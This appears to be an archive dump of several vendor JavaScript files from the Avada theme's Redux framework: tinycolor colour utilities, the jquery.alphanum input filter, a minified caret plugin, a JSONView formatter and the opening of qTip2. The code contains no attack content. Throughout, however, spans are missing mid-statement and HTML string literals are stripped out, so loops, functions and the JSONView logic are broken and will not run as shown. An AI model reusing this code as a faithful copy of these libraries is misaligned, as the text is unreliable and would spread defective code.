tinycolor.readability(color1, color2); return readability.brightness > 125 && readability.color > 500; }; // `mostReadable` // Given a base color and a list of possible foreground or background // colors for that base, returns the most readable color. // *Example* // tinycolor.mostReadable("#123", ["#fff", "#000"]) => "#000" tinycolor.mostReadable = function(baseColor, colorList) { var bestColor = null; var bestScore = 0; var bestIsReadable = false; for (var i=0; i < colorList.length; i++) { // We normalize both around the "acceptable" breaking point, // but rank brightness constrast higher than hue. var readability = tinycolor.readability(baseColor, colorList[i]); var readable = readability.brightness > 125 && readability.color > 500; var score = 3 * (readability.brightness / 125) + (readability.color / 500); if ((readable && ! bestIsReadable) || (readable && bestIsReadable && score > bestScore) || ((! readable) && (! bestIsReadable) && score > bestScore)) { bestIsReadable = readable; bestScore = score; bestColor = tinycolor(colorList[i]); } } return bestColor; }; // Big List of Colors // ------------------ // var names = tinycolor.names = { aliceblue: "f0f8ff", antiquewhite: "faebd7", aqua: "0ff", aquamarine: "7fffd4", azure: "f0ffff", beige: "f5f5dc", bisque: "ffe4c4", black: "000", blanchedalmond: "ffebcd", blue: "00f", blueviolet: "8a2be2", brown: "a52a2a", burlywood: "deb887", burntsienna: "ea7e5d", cadetblue: "5f9ea0", chartreuse: "7fff00", chocolate: "d2691e", coral: "ff7f50", cornflowerblue: "6495ed", cornsilk: "fff8dc", crimson: "dc143c", cyan: "0ff", darkblue: "00008b", darkcyan: "008b8b", darkgoldenrod: "b8860b", darkgray: "a9a9a9", darkgreen: "006400", darkgrey: "a9a9a9", darkkhaki: "bdb76b", darkmagenta: "8b008b", darkolivegreen: "556b2f", darkorange: "ff8c00", darkorchid: "9932cc", darkred: "8b0000", darksalmon: "e9967a", darkseagreen: "8fbc8f", darkslateblue: "483d8b", darkslategray: "2f4f4f", darkslategrey: "2f4f4f", darkturquoise: "00ced1", darkviolet: "9400d3", deeppink: "ff1493", deepskyblue: "00bfff", dimgray: "696969", dimgrey: "696969", dodgerblue: "1e90ff", firebrick: "b22222", floralwhite: "fffaf0", forestgreen: "228b22", fuchsia: "f0f", gainsboro: "dcdcdc", ghostwhite: "f8f8ff", gold: "ffd700", goldenrod: "daa520", gray: "808080", green: "008000", greenyellow: "adff2f", grey: "808080", honeydew: "f0fff0", hotpink: "ff69b4", indianred: "cd5c5c", indigo: "4b0082", ivory: "fffff0", khaki: "f0e68c", lavender: "e6e6fa", lavenderblush: "fff0f5", lawngreen: "7cfc00", lemonchiffon: "fffacd", lightblue: "add8e6", lightcoral: "f08080", lightcyan: "e0ffff", lightgoldenrodyellow: "fafad2", lightgray: "d3d3d3", lightgreen: "90ee90", lightgrey: "d3d3d3", lightpink: "ffb6c1", lightsalmon: "ffa07a", lightseagreen: "20b2aa", lightskyblue: "87cefa", lightslategray: "789", lightslategrey: "789", lightsteelblue: "b0c4de", lightyellow: "ffffe0", lime: "0f0", limegreen: "32cd32", linen: "faf0e6", magenta: "f0f", maroon: "800000", mediumaquamarine: "66cdaa", mediumblue: "0000cd", mediumorchid: "ba55d3", mediumpurple: "9370db", mediumseagreen: "3cb371", mediumslateblue: "7b68ee", mediumspringgreen: "00fa9a", mediumturquoise: "48d1cc", mediumvioletred: "c71585", midnightblue: "191970", mintcream: "f5fffa", mistyrose: "ffe4e1", moccasin: "ffe4b5", navajowhite: "ffdead", navy: "000080", oldlace: "fdf5e6", olive: "808000", olivedrab: "6b8e23", orange: "ffa500", orangered: "ff4500", orchid: "da70d6", palegoldenrod: "eee8aa", palegreen: "98fb98", paleturquoise: "afeeee", palevioletred: "db7093", papayawhip: "ffefd5", peachpuff: "ffdab9", peru: "cd853f", pink: "ffc0cb", plum: "dda0dd", powderblue: "b0e0e6", purple: "800080", red: "f00", rosybrown: "bc8f8f", royalblue: "4169e1", saddlebrown: "8b4513", salmon: "fa8072", sandybrown: "f4a460", seagreen: "2e8b57", seashell: "fff5ee", sienna: "a0522d", silver: "c0c0c0", skyblue: "87ceeb", slateblue: "6a5acd", slategray: "708090", slategrey: "708090", snow: "fffafa", springgreen: "00ff7f", steelblue: "4682b4", tan: "d2b48c", teal: "008080", thistle: "d8bfd8", tomato: "ff6347", turquoise: "40e0d0", violet: "ee82ee", wheat: "f5deb3", white: "fff", whitesmoke: "f5f5f5", yellow: "ff0", yellowgreen: "9acd32" }; // Make it easy to access colors via `hexNames[hex]` var hexNames = tinycolor.hexNames = flip(names); // Utilities // --------- // `{ 'name1': 'val1' }` becomes `{ 'val1': 'name1' }` function flip(o) { var flipped = { }; for (var i in o) { if (o.hasOwnProperty(i)) { flipped[o[i]] = i; } } return flipped; } // Return a valid alpha value [0,1] with all invalid values being set to 1 function boundAlpha(a) { a = parseFloat(a); if (isNaN(a) || a < 0 || a > 1) { a = 1; } return a; } // Take input from [0, n] and return it as [0, 1] function bound01(n, max) { if (isOnePointZero(n)) { n = "100%"; } var processPercent = isPercentage(n); n = mathMin(max, mathMax(0, parseFloat(n))); // Automatically convert percentage into number if (processPercent) { n = parseInt(n * max, 10) / 100; } // Handle floating point rounding errors if ((math.abs(n - max) < 0.000001)) { return 1; } // Convert into [0, 1] range if it isn't already return (n % max) / parseFloat(max); } // Force a number between 0 and 1 function clamp01(val) { return mathMin(1, mathMax(0, val)); } // Parse a base-16 hex value into a base-10 integer function parseIntFromHex(val) { return parseInt(val, 16); } // Need to handle 1.0 as 100%, since once it is a number, there is no difference between it and 1 // function isOnePointZero(n) { return typeof n == "string" && n.indexOf('.') != -1 && parseFloat(n) === 1; } // Check to see if string passed in is a percentage function isPercentage(n) { return typeof n === "string" && n.indexOf('%') != -1; } // Force a hex value to have 2 characters function pad2(c) { return c.length == 1 ? '0' + c : '' + c; } // Replace a decimal with it's percentage value function convertToPercentage(n) { if (n <= 1) { n = (n * 100) + "%"; } return n; } // Converts a decimal to a hex value function convertDecimalToHex(d) { return Math.round(parseFloat(d) * 255).toString(16); } // Converts a hex value to a decimal function convertHexToDecimal(h) { return (parseIntFromHex(h) / 255); } var matchers = (function() { // var CSS_INTEGER = "[-\\+]?\\d+%?"; // var CSS_NUMBER = "[-\\+]?\\d*\\.\\d+%?"; // Allow positive/negative integer/number. Don't capture the either/or, just the entire outcome. var CSS_UNIT = "(?:" + CSS_NUMBER + ")|(?:" + CSS_INTEGER + ")"; // Actual matching. // Parentheses and commas are optional, but not required. // Whitespace can take the place of commas or opening paren var PERMISSIVE_MATCH3 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?"; var PERMISSIVE_MATCH4 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?"; return { rgb: new RegExp("rgb" + PERMISSIVE_MATCH3), rgba: new RegExp("rgba" + PERMISSIVE_MATCH4), hsl: new RegExp("hsl" + PERMISSIVE_MATCH3), hsla: new RegExp("hsla" + PERMISSIVE_MATCH4), hsv: new RegExp("hsv" + PERMISSIVE_MATCH3), hex3: /^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/, hex6: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/, hex8: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/ }; })(); // `stringInputToObject` // Permissive string parsing. Take in a number of formats, and output an object // based on detected format. Returns `{ r, g, b }` or `{ h, s, l }` or `{ h, s, v}` function stringInputToObject(color) { color = color.replace(trimLeft,'').replace(trimRight, '').toLowerCase(); var named = false; if (names[color]) { color = names[color]; named = true; } else if (color == 'transparent') { return { r: 0, g: 0, b: 0, a: 0, format: "name" }; } // Try to match string input using regular expressions. // Keep most of the number bounding out of this function - don't worry about [0,1] or [0,100] or [0,360] // Just return an object and let the conversion functions handle that. // This way the result will be the same whether the tinycolor is initialized with string or object. var match; if ((match = matchers.rgb.exec(color))) { return { r: match[1], g: match[2], b: match[3] }; } if ((match = matchers.rgba.exec(color))) { return { r: match[1], g: match[2], b: match[3], a: match[4] }; } if ((match = matchers.hsl.exec(color))) { return { h: match[1], s: match[2], l: match[3] }; } if ((match = matchers.hsla.exec(color))) { return { h: match[1], s: match[2], l: match[3], a: match[4] }; } if ((match = matchers.hsv.exec(color))) { return { h: match[1], s: match[2], v: match[3] }; } if ((match = matchers.hex8.exec(color))) { return { a: convertHexToDecimal(match[1]), r: parseIntFromHex(match[2]), g: parseIntFromHex(match[3]), b: parseIntFromHex(match[4]), format: named ? "name" : "hex8" }; } if ((match = matchers.hex6.exec(color))) { return { r: parseIntFromHex(match[1]), g: parseIntFromHex(match[2]), b: parseIntFromHex(match[3]), format: named ? "name" : "hex" }; } if ((match = matchers.hex3.exec(color))) { return { r: parseIntFromHex(match[1] + '' + match[1]), g: parseIntFromHex(match[2] + '' + match[2]), b: parseIntFromHex(match[3] + '' + match[3]), format: named ? "name" : "hex" }; } return false; } // Expose tinycolor to window, does not need to run in non-browser context. window.tinycolor = tinycolor; })(); $(function () { if ($.fn.spectrum.load) { $.fn.spectrum.processNativeColorInputs(); } }); })(window, jQuery); Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/jquery.alphanum.js000064400000055415152342437710026033 0ustar00/******************************************************************** * Limit the characters that may be entered in a text field * Common options: alphanumeric, alphabetic or numeric * Kevin Sheedy, 2012 * http://github.com/KevinSheedy/jquery.alphanum *********************************************************************/ (function( $ ){ // API /////////////////////////////////////////////////////////////////// $.fn.alphanum = function(settings) { var combinedSettings = getCombinedSettingsAlphaNum(settings); var $collection = this; setupEventHandlers($collection, trimAlphaNum, combinedSettings); return this; }; $.fn.alpha = function(settings) { var defaultAlphaSettings = getCombinedSettingsAlphaNum("alpha"); var combinedSettings = getCombinedSettingsAlphaNum(settings, defaultAlphaSettings); var $collection = this; setupEventHandlers($collection, trimAlphaNum, combinedSettings); return this; }; $.fn.numeric = function(settings) { var combinedSettings = getCombinedSettingsNum(settings); var $collection = this; setupEventHandlers($collection, trimNum, combinedSettings); $collection.blur(function(){ numericField_Blur(this, settings); }); return this; }; // End of API ///////////////////////////////////////////////////////////// // Start Settings //////////////////////////////////////////////////////// var DEFAULT_SETTINGS_ALPHANUM = { allow : '', // Allow extra characters disallow : '', // Disallow extra characters allowSpace : true, // Allow the space character allowNumeric : true, // Allow digits 0-9 allowUpper : true, // Allow upper case characters allowLower : true, // Allow lower case characters allowCaseless : true, // Allow characters that don't have both upper & lower variants - eg Arabic or Chinese allowLatin : true, // a-z A-Z allowOtherCharSets : true, // eg , , Arabic, Chinese etc maxLength : NaN // eg Max Length } var DEFAULT_SETTINGS_NUM = { allowPlus : false, // Allow the + sign allowMinus : true, // Allow the - sign allowThouSep : true, // Allow the thousands separator, default is the comma eg 12,000 allowDecSep : true, // Allow the decimal separator, default is the fullstop eg 3.141 allowLeadingSpaces : false, maxDigits : NaN, // The max number of digits maxDecimalPlaces : NaN, // The max number of decimal places maxPreDecimalPlaces : NaN, // The max number digits before the decimal point max : NaN, // The max numeric value allowed min : NaN // The min numeric value allowed } // Some pre-defined groups of settings for convenience var CONVENIENCE_SETTINGS_ALPHANUM = { "alpha" : { allowNumeric : false }, "upper" : { allowNumeric : false, allowUpper : true, allowLower : false, allowCaseless : true }, "lower" : { allowNumeric : false, allowUpper : false, allowLower : true, allowCaseless : true } }; // Some pre-defined groups of settings for convenience var CONVENIENCE_SETTINGS_NUMERIC = { "integer" : { allowPlus : false, allowMinus : true, allowThouSep : false, allowDecSep : false }, "positiveInteger" : { allowPlus : false, allowMinus : false, allowThouSep : false, allowDecSep : false } }; var BLACKLIST = getBlacklistAscii() + getBlacklistNonAscii(); var THOU_SEP = ","; var DEC_SEP = "."; var DIGITS = getDigitsMap(); var LATIN_CHARS = getLatinCharsSet(); // Return the blacklisted special chars that are encodable using 7-bit ascii function getBlacklistAscii(){ var blacklist = '!@#$%^&*()+=[]\\\';,/{}|":<>?~`.-_'; blacklist += " "; // 'Space' is on the blacklist but can be enabled using the 'allowSpace' config entry return blacklist; } // Return the blacklisted special chars that are NOT encodable using 7-bit ascii // We want this .js file to be encoded using 7-bit ascii so it can reach the widest possible audience // Higher order chars must be escaped eg "\xAC" // Not too worried about comments containing higher order characters for now (let's wait and see if it becomes a problem) function getBlacklistNonAscii(){ var blacklist = "\xAC" // + "\u20AC" // + "\xA3" // + "\xA6" // ; return blacklist; } // End Settings //////////////////////////////////////////////////////// // Implementation details go here //////////////////////////////////////////////////////// function setupEventHandlers($textboxes, trimFunction, settings) { $textboxes.each(function(){ var $textbox = $(this); $textbox.bind("keyup change paste", function(e){ var pastedText = ""; if(e.originalEvent && e.originalEvent.clipboardData && e.originalEvent.clipboardData.getData) pastedText = e.originalEvent.clipboardData.getData("text/plain") // setTimeout is necessary for handling the 'paste' event setTimeout(function(){ trimTextbox($textbox, trimFunction, settings, pastedText); }, 0); }); $textbox.bind("keypress", function(e){ // Determine which key is pressed. // If it's a control key, then allow the event's default action to occur eg backspace, tab var charCode = !e.charCode ? e.which : e.charCode; if(isControlKey(charCode) || e.ctrlKey || e.metaKey ) // cmd on MacOS return; var newChar = String.fromCharCode(charCode); // Determine if some text was selected / highlighted when the key was pressed var selectionObject = $textbox.selection(); var start = selectionObject.start; var end = selectionObject.end; var textBeforeKeypress = $textbox.val(); // The new char may be inserted: // 1) At the start // 2) In the middle // 3) At the end // 4) User highlights some text and then presses a key which would replace the highlighted text // // Here we build the string that would result after the keypress. // If the resulting string is invalid, we cancel the event. // Unfortunately, it isn't enough to just check if the new char is valid because some chars // are position sensitive eg the decimal point '.'' or the minus sign '-'' are only valid in certain positions. var potentialTextAfterKeypress = textBeforeKeypress.substring(0, start) + newChar + textBeforeKeypress.substring(end); var validatedText = trimFunction(potentialTextAfterKeypress, settings); // If the keypress would cause the textbox to contain invalid characters, then cancel the keypress event if(validatedText != potentialTextAfterKeypress) e.preventDefault(); }); }); } // Ensure the text is a valid number when focus leaves the textbox // This catches the case where a user enters '-' or '.' without entering any digits function numericField_Blur(inputBox, settings) { var fieldValueNumeric = parseFloat($(inputBox).val()); var $inputBox = $(inputBox); if(isNaN(fieldValueNumeric)) { $inputBox.val(""); return; } if(isNumeric(settings.min) && fieldValueNumeric < settings.min) $inputBox.val(""); if(isNumeric(settings.max) && fieldValueNumeric > settings.max) $inputBox.val(""); } function isNumeric(value) { return !isNaN(value); } function isControlKey(charCode) { if(charCode >= 32) return false; if(charCode == 10) return false; if(charCode == 13) return false; return true; } // One way to prevent a character being entered is to cancel the keypress event. // However, this gets messy when you have to deal with things like copy paste which isn't a keypress. // Which event gets fired first, keypress or keyup? What about IE6 etc etc? // Instead, it's easier to allow the 'bad' character to be entered and then to delete it immediately after. function trimTextbox($textBox, trimFunction, settings, pastedText){ var inputString = $textBox.val(); if(inputString == "" && pastedText.length > 0) inputString = pastedText; var outputString = trimFunction(inputString, settings); if(inputString == outputString) return; var caretPos = $textBox.alphanum_caret(); $textBox.val(outputString); //Reset the caret position if(inputString.length ==(outputString.length + 1)) $textBox.alphanum_caret(caretPos - 1); else $textBox.alphanum_caret(caretPos); } function getCombinedSettingsAlphaNum(settings, defaultSettings){ if(typeof defaultSettings == "undefined") defaultSettings = DEFAULT_SETTINGS_ALPHANUM; var userSettings, combinedSettings = {}; if(typeof settings === "string") userSettings = CONVENIENCE_SETTINGS_ALPHANUM[settings]; else if(typeof settings == "undefined") userSettings = {}; else userSettings = settings; $.extend(combinedSettings, defaultSettings, userSettings); if(typeof combinedSettings.blacklist == 'undefined') combinedSettings.blacklistSet = getBlacklistSet(combinedSettings.allow, combinedSettings.disallow); return combinedSettings; } function getCombinedSettingsNum(settings){ var userSettings, combinedSettings = {}; if(typeof settings === "string") userSettings = CONVENIENCE_SETTINGS_NUMERIC[settings]; else if(typeof settings == "undefined") userSettings = {}; else userSettings = settings; $.extend(combinedSettings, DEFAULT_SETTINGS_NUM, userSettings); return combinedSettings; } // This is the heart of the algorithm function alphanum_allowChar(validatedStringFragment, Char, settings){ if(settings.maxLength && validatedStringFragment.length >= settings.maxLength) return false; if(settings.allow.indexOf(Char) >=0 ) return true; if(settings.allowSpace && (Char == " ")) return true; if(settings.blacklistSet.contains(Char)) return false; if(!settings.allowNumeric && DIGITS[Char]) return false; if(!settings.allowUpper && isUpper(Char)) return false; if(!settings.allowLower && isLower(Char)) return false; if(!settings.allowCaseless && isCaseless(Char)) return false; if(!settings.allowLatin && LATIN_CHARS.contains(Char)) return false; if(!settings.allowOtherCharSets){ if(DIGITS[Char] || LATIN_CHARS.contains(Char)) return true; else return false; } return true; } function numeric_allowChar(validatedStringFragment, Char, settings){ if(DIGITS[Char]) { if(isMaxDigitsReached(validatedStringFragment, settings)) return false; if(isMaxPreDecimalsReached(validatedStringFragment, settings)) return false; if(isMaxDecimalsReached(validatedStringFragment, settings)) return false; if(isGreaterThanMax(validatedStringFragment + Char, settings)) return false; if(isLessThanMin(validatedStringFragment + Char, settings)) return false; return true; } if(settings.allowPlus && Char == '+' && validatedStringFragment == '') return true; if(settings.allowMinus && Char == '-' && validatedStringFragment == '') return true; if(Char == THOU_SEP && settings.allowThouSep && allowThouSep(validatedStringFragment, Char)) return true; if(Char == DEC_SEP) { // Only one decimal separator allowed if(validatedStringFragment.indexOf(DEC_SEP) >= 0) return false; if(settings.allowDecSep) return true; } return false; } function countDigits(string) { // Error handling, nulls etc string = string + ""; // Count the digits return string.replace(/[^0-9]/g,"").length; } function isMaxDigitsReached(string, settings) { var maxDigits = settings.maxDigits; if(maxDigits == "" || isNaN(maxDigits)) return false; // In this case, there is no maximum var numDigits = countDigits(string); if(numDigits >= maxDigits) return true; return false; } function isMaxDecimalsReached(string, settings) { var maxDecimalPlaces = settings.maxDecimalPlaces; if(maxDecimalPlaces == "" || isNaN(maxDecimalPlaces)) return false; // In this case, there is no maximum var indexOfDecimalPoint = string.indexOf(DEC_SEP); if(indexOfDecimalPoint == -1) return false; var decimalSubstring = string.substring(indexOfDecimalPoint); var numDecimals = countDigits(decimalSubstring); if(numDecimals >= maxDecimalPlaces) return true; return false; } function isMaxPreDecimalsReached(string, settings) { var maxPreDecimalPlaces = settings.maxPreDecimalPlaces; if(maxPreDecimalPlaces == "" || isNaN(maxPreDecimalPlaces)) return false; // In this case, there is no maximum var indexOfDecimalPoint = string.indexOf(DEC_SEP); if(indexOfDecimalPoint >= 0) return false; var numPreDecimalDigits = countDigits(string); if(numPreDecimalDigits >= maxPreDecimalPlaces) return true; return false; } function isGreaterThanMax(numericString, settings) { if(!settings.max || settings.max < 0) return false; var outputNumber = parseFloat(numericString); if(outputNumber > settings.max) return true; return false; } function isLessThanMin(numericString, settings) { if(!settings.min || settings.min > 0) return false; var outputNumber = parseFloat(numericString); if(outputNumber < settings.min) return true; return false; } /******************************** * Trims a string according to the settings provided ********************************/ function trimAlphaNum(inputString, settings){ if(typeof inputString != "string") return inputString; var inChars = inputString.split(""); var outChars = []; var i = 0; var Char; for(i=0; i= 0) return false; var posOfFirstThouSep = currentString.indexOf(THOU_SEP); // Check if this is the first occurrence of a THOU_SEP if(posOfFirstThouSep < 0) return true; var posOfLastThouSep = currentString.lastIndexOf(THOU_SEP); var charsSinceLastThouSep = currentString.length - posOfLastThouSep - 1; // Check if there has been 3 digits since the last THOU_SEP if(charsSinceLastThouSep < 3) return false; var digitsSinceFirstThouSep = countDigits(currentString.substring(posOfFirstThouSep)); // Check if there has been a multiple of 3 digits since the first THOU_SEP if((digitsSinceFirstThouSep % 3) > 0) return false; return true; } //////////////////////////////////////////////////////////////////////////////////// // Implementation of a Set //////////////////////////////////////////////////////////////////////////////////// function Set(elems){ if(typeof elems == "string") this.map = stringToMap(elems); else this.map = {}; } Set.prototype.add = function(set){ var newSet = this.clone(); for(var key in set.map) newSet.map[key] = true; return newSet; } Set.prototype.subtract = function(set){ var newSet = this.clone(); for(var key in set.map) delete newSet.map[key]; return newSet; } Set.prototype.contains = function(key){ if(this.map[key]) return true; else return false; } Set.prototype.clone = function(){ var newSet = new Set(); for(var key in this.map) newSet.map[key] = true; return newSet; } //////////////////////////////////////////////////////////////////////////////////// function stringToMap(string){ var map = {}; var array = string.split(""); var i=0; var Char; for(i=0; i=0){endPos=i.toString().length}else{endPos=startPos+r.toString().length}return{start:startPos,end:endPos}},s=function(t){var n=r(t);if(t.selectionStart!==undefined){if(document.activeElement&&document.activeElement!=t&&t.selectionStart==t.selectionEnd&&t.selectionStart==0){return{start:t.value.length,end:t.value.length}}return{start:t.selectionStart,end:t.selectionEnd}}else if(n.getSelection){return i(t,n)}else{try{if(t.nodeName.toLowerCase()=="input"){var s=r(t).document.selection.createRange(),o=t.createTextRange();o.setEndPoint("EndToStart",s);var u=o.text.length;return{start:u,end:u+s.text.length}}else{var a=i(t,n);if(!a){return a}var f=e.Range.current().clone(),l=f.clone().collapse().range,c=f.clone().collapse(false).range;l.moveStart("character",-1);c.moveStart("character",-1);if(a.startPos!=0&&l.text==""){a.startPos+=2}if(a.endPos!=0&&c.text==""){a.endPos+=2}return a}}catch(h){return{start:t.value.length,end:t.value.length}}}},o=function(e,t,n){var i=r(e);if(e.setSelectionRange){if(n===undefined){e.focus();e.setSelectionRange(t,t)}else{e.select();e.selectionStart=t;e.selectionEnd=n}}else if(e.createTextRange){var s=e.createTextRange();s.moveStart("character",t);n=n||t;s.moveEnd("character",n-e.value.length);s.select()}else if(i.getSelection){var o=i.document,u=i.getSelection(),f=o.createRange(),l=[t,n!==undefined?n:t];a([e],l);f.setStart(l[0].el,l[0].count);f.setEnd(l[1].el,l[1].count);u.removeAllRanges();u.addRange(f)}else if(i.document.body.createTextRange){var f=document.body.createTextRange();f.moveToElementText(e);f.collapse();f.moveStart("character",t);f.moveEnd("character",n!==undefined?n:t);f.select()}},u=function(e,t,n,r){if(typeof n[0]==="number"&&n[0](.*)\<\/pre\>$/.test(this.data)) { if (this.debug) { console.log("JSONView: data is wrapped in
    ...
    , stripping HTML..."); } this.data = this.data.replace(/<(?:.|\s)*?>/g, ''); //Aggressively strip HTML. } // Test if what remains is JSON or JSONp var json_regex = /^\s*([\[\{].*[\}\]])\s*$/; // Ghetto, but it works var jsonp_regex = /^[\s\u200B\uFEFF]*([\w$\[\]\.]+)[\s\u200B\uFEFF]*\([\s\u200B\uFEFF]*([\[{][\s\S]*[\]}])[\s\u200B\uFEFF]*\);?[\s\u200B\uFEFF]*$/; var jsonp_regex2 = /([\[\{][\s\S]*[\]\}])\)/; // more liberal support... this allows us to pass the jsonp.json & jsonp2.json tests var is_json = json_regex.test(this.data); var is_jsonp = jsonp_regex.test(this.data); if (this.debug) { console.log("JSONView: is_json=" + is_json + " is_jsonp=" + is_jsonp); } if (is_json || is_jsonp) { if (this.debug) { console.log("JSONView: sexytime!"); } // JSONFormatter json->HTML prototype straight from Firefox JSONView // For reference: http://code.google.com/p/jsonview function JSONFormatter() { // No magic required. } JSONFormatter.prototype = { htmlEncode: function(t) { return t != null ? t.toString().replace(/&/g, "&").replace(/"/g, """).replace(//g, ">") : ''; }, decorateWithSpan: function(value, className) { return '' + this.htmlEncode(value) + ''; }, // Convert a basic JSON datatype (number, string, boolean, null, object, array) into an HTML fragment. valueToHTML: function(value) { var valueType = typeof value; var output = ""; if (value === null) { output += this.decorateWithSpan('null', 'null'); } else if (value && value.constructor === Array) { output += this.arrayToHTML(value); } else if (valueType === 'object') { output += this.objectToHTML(value); } else if (valueType === 'number') { output += this.decorateWithSpan(value, 'num'); } else if (valueType === 'string') { if (/^(http|https):\/\/[^\s]+$/.test(value)) { output += '' + this.htmlEncode(value) + ''; } else { output += this.decorateWithSpan('"' + value + '"', 'string'); } } else if (valueType === 'boolean') { output += this.decorateWithSpan(value, 'bool'); } return output; }, // Convert an array into an HTML fragment arrayToHTML: function(json) { var output = '[
      '; var hasContents = false; for (var prop in json) { hasContents = true; output += '
    • '; output += this.valueToHTML(json[prop]); output += '
    • '; } output += '
    ]'; if (!hasContents) { output = "[ ]"; } return output; }, // Convert a JSON object to an HTML fragment objectToHTML: function(json) { var output = '{
      '; var hasContents = false; for (var prop in json) { hasContents = true; output += '
    • '; output += '' + this.htmlEncode(prop) + ': '; output += this.valueToHTML(json[prop]); output += '
    • '; } output += '
    }'; if (!hasContents) { output = "{ }"; } return output; }, // Convert a whole JSON object into a formatted HTML document. jsonToHTML: function(json, callback, uri) { var output = ''; if (callback) { output += '
    ' + callback + ' (
    '; output += '
    '; } else { output += '
    '; } output += this.valueToHTML(json); output += '
    '; if (callback) { output += '
    )
    '; } return this.toHTML(output, uri); }, // Produce an error document for when parsing fails. errorPage: function(error, data, uri) { // var output = '
    ' + this.stringbundle.GetStringFromName('errorParsing') + '
    '; // output += '

    ' + this.stringbundle.GetStringFromName('docContents') + ':

    '; var output = '
    Error parsing JSON: ' + error.message + '
    '; output += '

    ' + error.stack + ':

    '; output += '
    ' + this.htmlEncode(data) + '
    '; return this.toHTML(output, uri + ' - Error'); }, // Wrap the HTML fragment in a full document. Used by jsonToHTML and errorPage. toHTML: function(content) { return content; } }; // Sanitize & output -- all magic from JSONView Firefox this.jsonFormatter = new JSONFormatter(); // This regex attempts to match a JSONP structure: // * Any amount of whitespace (including unicode nonbreaking spaces) between the start of the file and the callback name // * Callback name (any valid JavaScript function name according to ECMA-262 Edition 3 spec) // * Any amount of whitespace (including unicode nonbreaking spaces) // * Open parentheses // * Any amount of whitespace (including unicode nonbreaking spaces) // * Either { or [, the only two valid characters to start a JSON string. // * Any character, any number of times // * Either } or ], the only two valid closing characters of a JSON string. // * Any amount of whitespace (including unicode nonbreaking spaces) // * A closing parenthesis, an optional semicolon, and any amount of whitespace (including unicode nonbreaking spaces) until the end of the file. // This will miss anything that has comments, or more than one callback, or requires modification before use. var outputDoc = ''; // text = text.match(jsonp_regex)[1]; var cleanData = '', callback = ''; var callback_results = jsonp_regex.exec(this.data); if (callback_results && callback_results.length === 3) { if (this.debug) { callback = callback_results[1]; cleanData = callback_results[2]; } else { if (this.debug) { cleanData = this.data; } if (this.debug) { console.log(cleanData); } // Covert, and catch exceptions on failure try { // var jsonObj = this.nativeJSON.decode(cleanData); var jsonObj = JSON.parse(cleanData); if (jsonObj) { outputDoc = this.jsonFormatter.jsonToHTML(jsonObj, callback); } else { throw "There was no object!"; } } catch (e) { if (this.debug) { console.log(e); } outputDoc = this.jsonFormatter.errorPage(e, this.data); } var links = ''; if (this.targetType !== undefined) { this.idType = this.targetType; this.id = this.target; } var el; if (this.idType === "class") { el = document.getElementsByClassName(this.id); if (el) { el.className += el.className ? ' jsonViewOutput' : 'jsonViewOutput'; el.innerHTML = links + outputDoc; } } else if (this.idType === "id") { el = document.getElementById(this.id); if (el) { el.className += el.className ? ' jsonViewOutput' : 'jsonViewOutput'; el.innerHTML = links + outputDoc; } el.innerHTML = links + outputDoc; } var items = document.getElementsByClassName('collapsible'); for (var i = 0; i < items.length; i++) { addCollapser(items[i].parentNode); } } else { // console.log("JSONView: this is not json, not formatting."); } }Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/qtip/jquery.qtip.js000064400000426257152342437710026166 0ustar00/* * qTip2 - Pretty powerful tooltips - v2.2.1 * http://qtip2.com * * Copyright (c) 2014 * Released under the MIT licenses * http://jquery.org/license * * Date: Sat Sep 6 2014 11:12 GMT+0100+0100 * Plugins: tips modal viewport svg imagemap ie6 * Styles: core basic css3 */ /*global window: false, jQuery: false, console: false, define: false */ /* Cache window, document, undefined */ (function( window, document, undefined ) { // Uses AMD or browser globals to create a jQuery plugin. (function( factory ) { "use strict"; if(typeof define === 'function' && define.amd) { define(['jquery'], factory); } else if(jQuery && !jQuery.fn.qtip) { factory(jQuery); } } (function($) { "use strict"; // Enable ECMAScript "strict" operation for this function. See more: http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/ ;// Munge the primitives - Paul Irish tip var TRUE = true, FALSE = false, NULL = null, // Common variables X = 'x', Y = 'y', WIDTH = 'width', HEIGHT = 'height', // Positioning sides TOP = 'top', LEFT = 'left', BOTTOM = 'bottom', RIGHT = 'right', CENTER = 'center', // Position adjustment types FLIP = 'flip', FLIPINVERT = 'flipinvert', SHIFT = 'shift', // Shortcut vars QTIP, PROTOTYPE, CORNER, CHECKS, PLUGINS = {}, NAMESPACE = 'qtip', ATTR_HAS = 'data-hasqtip', ATTR_ID = 'data-qtip-id', WIDGET = ['ui-widget', 'ui-tooltip'], SELECTOR = '.'+NAMESPACE, INACTIVE_EVENTS = 'click dblclick mousedown mouseup mousemove mouseleave mouseenter'.split(' '), CLASS_FIXED = NAMESPACE+'-fixed', CLASS_DEFAULT = NAMESPACE + '-default', CLASS_FOCUS = NAMESPACE + '-focus', CLASS_HOVER = NAMESPACE + '-hover', CLASS_DISABLED = NAMESPACE+'-disabled', replaceSuffix = '_replacedByqTip', oldtitle = 'oldtitle', trackingBound, // Browser detection BROWSER = { /* * IE version detection * * Adapted from: http://ajaxian.com/archives/attack-of-the-ie-conditional-comment * Credit to James Padolsey for the original implemntation! */ ie: (function(){ for ( var v = 4, i = document.createElement("div"); (i.innerHTML = "") && i.getElementsByTagName("i")[0]; v+=1 ) {} return v > 4 ? v : NaN; }()), /* * iOS version detection */ iOS: parseFloat( ('' + (/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent) || [0,''])[1]) .replace('undefined', '3_2').replace('_', '.').replace('_', '') ) || FALSE }; ;function QTip(target, options, id, attr) { // Elements and ID this.id = id; this.target = target; this.tooltip = NULL; this.elements = { target: target }; // Internal constructs this._id = NAMESPACE + '-' + id; this.timers = { img: {} }; this.options = options; this.plugins = {}; // 